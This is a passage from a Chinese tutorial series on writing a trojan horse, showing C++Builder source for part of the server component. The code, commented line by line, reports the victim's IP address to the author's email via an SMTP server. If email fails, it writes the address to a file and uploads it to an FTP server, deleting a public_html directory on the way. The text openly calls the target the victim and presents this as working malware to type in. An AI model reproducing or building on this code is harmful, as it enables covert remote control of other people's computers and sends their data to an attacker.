木马是如何编写的(三)

但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：

{

END:;

Socket-〉Close（）;

//关闭服务

ServerSocket1-〉Active =true;

//再次打开服务

if （NMSMTP1-〉Connected） NMSMTP1-〉Disconnect（）;

//如果SMTP服务器已连接则断开

NMSMTP1-〉Host = "smtp.163.net";

//选一个好用的SMTP服务器，如163、263、sina和btamail

NMSMTP1-〉UserID = "";

//你SMTP的ID

try

{

NMSMTP1-〉Connect（）;

//再次连接

}

catch（...）

{

goto NextTime;

//跳到NextTime

}

NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";

//受害者的Email地址

NMSMTP1-〉PostMessage-〉FromName = "Casualty";

//受害者的名字

NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";

//将信发到我的邮箱，这一步很关键

NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString（"Server Running on:"） + NMSMTP1-〉LocalIP ;

//信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接

NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";

//信的主题

NMSMTP1-〉SendMail（）;

//发送！

return;

//返回

NextTime:

NMFTP1-〉Host = "ftp.go.163.com";

//你的FTP服务器的地址

NMFTP1-〉UserID = "";

//你的用户ID

NMFTP1-〉Port = 21;

//FTP端口号，一般为21

NMFTP1-〉Password = "";

//你的FTP的密码

if（NMFTP1-〉Connected） NMFTP1-〉Disconnect（）;

//如果已连接就断开

try

{

NMFTP1-〉Connect（）;

//再连接

}

catch（...）

{

return;

//返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;

//受害者的IP地址

FILE * Upload;

Upload = fopen（NMFTP1-〉RemoteIP.c_str（）,"w+"）;

//创建一个新文件准备写，如果已存在就覆盖

fwrite（SendToSite.c_str（）,sizeof（char）,SendToSite.Length（）,Upload）;

//写入以上的SendToSite的内容

fclose（Upload）;

//写完后关闭此文件

NMFTP1-〉RemoveDir（"public_html"）;

//删除public_html目录

NMFTP1-〉Upload（NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP）;

//上传！

}

啊，超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件：

#include 〈stdlib.h〉

#include 〈dirent.h〉

#include 〈fcntl.h〉

#include 〈dos.h〉

#include 〈sysstat.h〉

#include 〈winbase.h〉

#include 〈stdio.h〉

#include 〈process.h〉

#include 〈io.h〉

#include 〈mmsystem.h〉

至此，服务器端（Server）程序已全部完工！（终于可以好好歇歇了！）别慌！以上代码只是完成了整个木马程序的一半。（“扑通”，有人晕倒了！）下面我们就将乘胜追击——搞定客户端程序（Client）！